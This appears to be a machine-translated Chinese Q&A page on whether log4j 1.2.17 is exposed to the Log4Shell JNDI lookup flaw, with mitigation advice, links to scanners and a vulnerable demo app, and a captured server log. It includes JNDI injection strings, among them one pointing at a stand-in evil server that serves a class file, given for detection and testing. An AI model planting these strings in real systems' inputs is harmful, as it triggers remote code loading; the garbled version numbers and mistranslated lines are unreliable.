log4j是否存在漏洞？测试漏洞的示例代码

Question

正如我们在新闻中看到的，针对流行的Log4J2库报告了一个新的零日漏洞，该漏洞允许攻击者远程执行代码。在我们的应用程序中，我们仍然使用以下log4j依赖项。

<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>

是否仅针对log4j2报告该问题？或适用于1.2。17版本是否也是？是否有测试该漏洞的示例代码？

Answer 1

不，该漏洞是Log4j2的一个特殊功能，称为“查找”。

以${xxx:yyy}格式到达日志引擎的每个序列都会被解析和处理。即使记录的是用户的输入。即使该输入被注入到异常消息中——例如，如果您记录堆栈跟踪，并且异常是parse exception。

通过在没有沙箱的情况下将记录器输入输入到解析器中，他们引入了一个新的攻击面，该攻击面尖叫着要被利用，这最终发生了。

根据log4j2团队的说法，通过在java命令中添加参数，可以关闭设计不良的功能：

-Dlog4j2.formatMsgNoLookups=true

其他不包含这种疯狂特性的框架不会受到影响，希望它们都能得到安全审计。

原来的Log4j项目已经不支持了，原来的开发者已经开始Logback项目了，所以如果要切换到Log4j，需要带Logback。

Answer 2

检查此问题：log4j漏洞-是log4j1。2.17易受攻击（在源代码中找不到任何jndi代码）？

更新（2021-12-12 10:09 JST）：根据@TopStreamsNet的分析，严格来说，应用程序使用Log4j 1。如果他们的配置使用JNDI，x可能会受到影响。然而，风险要低得多。注意log4j1。x是生命的终结，并且具有其他无法修复的安全漏洞。因此，我们不建议使用log4j1。x作为一种避免此安全漏洞的方法。建议升级到2.15。0

这是：

https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301 log4j 1。x版本仍然可能容易受到此问题的攻击，但只有当jms配置：TopicBindingName或TopicConnectionFactoryBindingName设置为JNDI可以处理的内容时，才会受到攻击—例如“ldap://host:port/a这样，JNDI将完全和2。x的情况相同。也就是说，1。x是脆弱的，只是攻击向量是“更安全的”，因为它取决于配置而不是用户输入。

是否有测试该漏洞的示例代码？

您可以使用这个在线工具来测试您的应用程序：https://log4shell.huntress.com/

只要将这一行添加到您要测试的应用程序中，如果它具有漏洞：

logger.error("${jndi:ldap://log4shell.huntress.com:1389/<your-unique-identifier-from-log4shell.huntress.com>}");

然后运行服务器并通过单击“查看连接”检查是否向该工具发送了请求。

您还可以使用以下python脚本测试该漏洞：

https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

如果攻击已经发生，请检查日志：

https://gist.html" target="_blank">github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

或者只检查日志中包含${jndi:ldap:或${jndi:的字符串，如下所示：

${jndi:ldap://<some_evil_server.com/evil-code.class...}

下面是一个存在漏洞的Java应用程序示例：

https://github.com/0x0021h/apache-log4j-rce

我对它进行了测试，在运行应用程序的日志中，我没有看到太多有趣的事情：

但是在我运行在127.0.0.1:8080上的另一台服务器上，我看到出现了以下日志，所以日志语句触发了超文本传输协议请求（我也用log4shell.huntress.com工具测试了它，连接出现在那里。）：

16:48:44.338 [http-nio-8080-exec-1] INFO  o.a.coyote.http11.Http11Processor - Error parsing HTTP request header
 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [00x0c0x020x010x01`0x070x020x010x030x040x000x800x00...]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:419)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:269)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1723)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.base/java.lang.Thread.run(Thread.java:834)